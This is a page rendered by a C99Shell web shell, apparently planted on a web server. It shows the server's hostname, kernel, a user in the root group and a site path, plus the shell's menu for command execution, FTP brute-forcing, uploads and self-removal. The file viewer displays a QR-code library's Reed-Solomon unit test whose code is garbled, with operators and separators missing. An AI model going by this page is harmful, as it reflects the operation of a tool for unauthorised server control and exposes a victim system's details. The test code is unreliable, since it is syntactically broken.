!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/bacon/bacon-qr-code/test/Common/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReedSolomonCodecTest.php (3.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types 1);

namespace 
BaconQrCodeTest\Common;

use 
BaconQrCode\Common\ReedSolomonCodec;
use 
PHPUnit\Framework\TestCase;
use 
SplFixedArray;

class 
ReedSolomonTest extends TestCase
{
    public function 
tabs() : array
    {
        return [
            [
20x7111],
            [
30xb112],
            [
40x13114],
            [
50x25116],
            [
60x43118],
            [
70x891110],
            [
80x11d1132],
        ];
    }

    
/**
     * @dataProvider tabs
     */
    
public function testCodec(int $symbolSizeint $generatorPolyint $firstRootint $primitiveint $numRoots) : void
    
{
        
mt_srand(0xdeadbeefMT_RAND_PHP);

        
$blockSize = (<< $symbolSize) - 1;
        
$dataSize  $blockSize $numRoots;
        
$codec     = new ReedSolomonCodec($symbolSize$generatorPoly$firstRoot$primitive$numRoots0);

        for (
$errors 0$errors <= $numRoots 2; ++$errors) {
            
// Load block with random data and encode
            
$block SplFixedArray::fromArray(array_fill(0$blockSize0), false);

            for (
$i 0$i $dataSize; ++$i) {
                
$block[$i] = mt_rand(0$blockSize);
            }

            
// Make temporary copy
            
$tBlock = clone $block;
            
$parity SplFixedArray::fromArray(array_fill(0$numRoots0), false);
            
$errorLocations SplFixedArray::fromArray(array_fill(0$blockSize0), false);
            
$erasures = [];

            
// Create parity
            
$codec->encode($block$parity);

            
// Copy parity into test blocks
            
for ($i 0$i $numRoots; ++$i) {
                
$block[$i $dataSize] = $parity[$i];
                
$tBlock[$i $dataSize] = $parity[$i];
            }

            
// Seed with errors
            
for ($i 0$i $errors; ++$i) {
                
$errorValue mt_rand(1$blockSize);

                do {
                    
$errorLocation mt_rand(0$blockSize);
                } while (
!== $errorLocations[$errorLocation]);

                
$errorLocations[$errorLocation] = 1;

                if (
mt_rand(01)) {
                    
$erasures[] = $errorLocation;
                }

                
$tBlock[$errorLocation] ^= $errorValue;
            }

            
$erasures SplFixedArray::fromArray($erasuresfalse);

            
// Decode the errored block
            
$foundErrors $codec->decode($tBlock$erasures);

            if (
$errors && null === $foundErrors) {
                
$this->assertSame($block$tBlock'Decoder failed to correct errors');
            }

            
$this->assertSame($errors$foundErrors'Found errors do not equal expected errors');

            for (
$i 0$i $foundErrors; ++$i) {
                if (
=== $errorLocations[$erasures[$i]]) {
                    
$this->fail(sprintf('Decoder indicates error in location %d without error'$erasures[$i]));
                }
            }

            
$this->assertEquals($block$tBlock'Decoder did not correct errors');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--